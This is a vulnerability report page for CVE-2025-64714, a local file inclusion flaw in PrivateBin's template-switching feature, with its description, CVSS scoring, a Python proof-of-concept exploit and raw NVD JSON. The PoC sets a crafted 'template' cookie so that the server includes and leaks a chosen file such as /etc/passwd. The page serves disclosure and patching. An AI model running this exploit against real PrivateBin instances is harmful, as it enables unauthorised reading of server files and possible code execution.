Security Vulnerability Report
中文
CVE-2025-64714 CVSS 5.8 MEDIUM

CVE-2025-64714

Published: 2025-11-13 16:15:57
Last Modified: 2026-04-15 00:35:42

Description

PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Starting in version 1.7.7 and prior to version 2.0.3, an unauthenticated Local File Inclusion exists in the template-switching feature. If `templateselection` is enabled in the configuration, the server trusts the `template` cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain remote code execution. The constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information. The issue has been patched in version 2.0.3. As a workaround, set `templateselection = false` (which is the default) in `cfg/conf.php` or remove it entirely

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PrivateBin >= 1.7.7
PrivateBin < 2.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64714 PoC - PrivateBin Template Selection LFI Note: Requires templateselection to be enabled in configuration """ import http.cookiejar import urllib.request import sys def exploit_lfi(target_url, file_path): """ Exploit Local File Inclusion via template cookie Args: target_url: Base URL of vulnerable PrivateBin instance file_path: Path of file to read (e.g., /etc/passwd) """ # Create cookie jar to manage cookies cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) # First request to establish session and receive template cookie try: response = opener.open(target_url) html = response.read().decode('utf-8') print(f"[*] Connected to target: {target_url}") print(f"[*] Response status: {response.status}") except Exception as e: print(f"[!] Failed to connect: {e}") return None # Create malicious template cookie with file path # Encode path to handle special characters encoded_path = file_path.replace('/', '%2f') # Add malicious cookie template_cookie = http.cookiejar.Cookie( version=0, name='template', value=file_path, port=None, port_specified=False, domain=response.geturl(), domain_specified=False, domain_initial_dot=False, path='/', path_specified=True, secure=False, expires=None, discard=True, comment=None, comment_url=None, rest={}, rfc2109=False ) cj.set_cookie(template_cookie) # Second request with malicious cookie print(f"[*] Sending request with template cookie: {file_path}") try: response = opener.open(target_url) content = response.read().decode('utf-8', errors='ignore') # Check if file content was included if 'root:' in content or '<?php' in content: print("[+] SUCCESS! File content leaked:") print("-" * 50) # Extract PHP file content start = content.find('<?php') if start != -1: end = content.find('?>', start) if end != -1: print(content[start:end+2]) else: # Print raw content for /etc/passwd style files print(content[:1000]) else: print("[-] File content not found in response") print("[*] Response preview:", content[:500]) except Exception as e: print(f"[!] Exploit failed: {e}") return content if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-64714_poc.py <target_url> <file_to_read>") print("Example: python cve-2025-64714_poc.py http://localhost/ /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64714", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.790", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Starting in version 1.7.7 and prior to version 2.0.3, an unauthenticated Local File Inclusion exists in the template-switching feature. If `templateselection` is enabled in the configuration, the server trusts the `template` cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain remote code execution. The constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information. The issue has been patched in version 2.0.3. As a workaround, set `templateselection = false` (which is the default) in `cfg/conf.php` or remove it entirely"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}, {"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://github.com/PrivateBin/PrivateBin/commit/4434dbf73ac53217fda0f90d8cf9b6110f8acc4f", "source": "[email protected]"}, {"url": "https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82", "source": "[email protected]"}]}}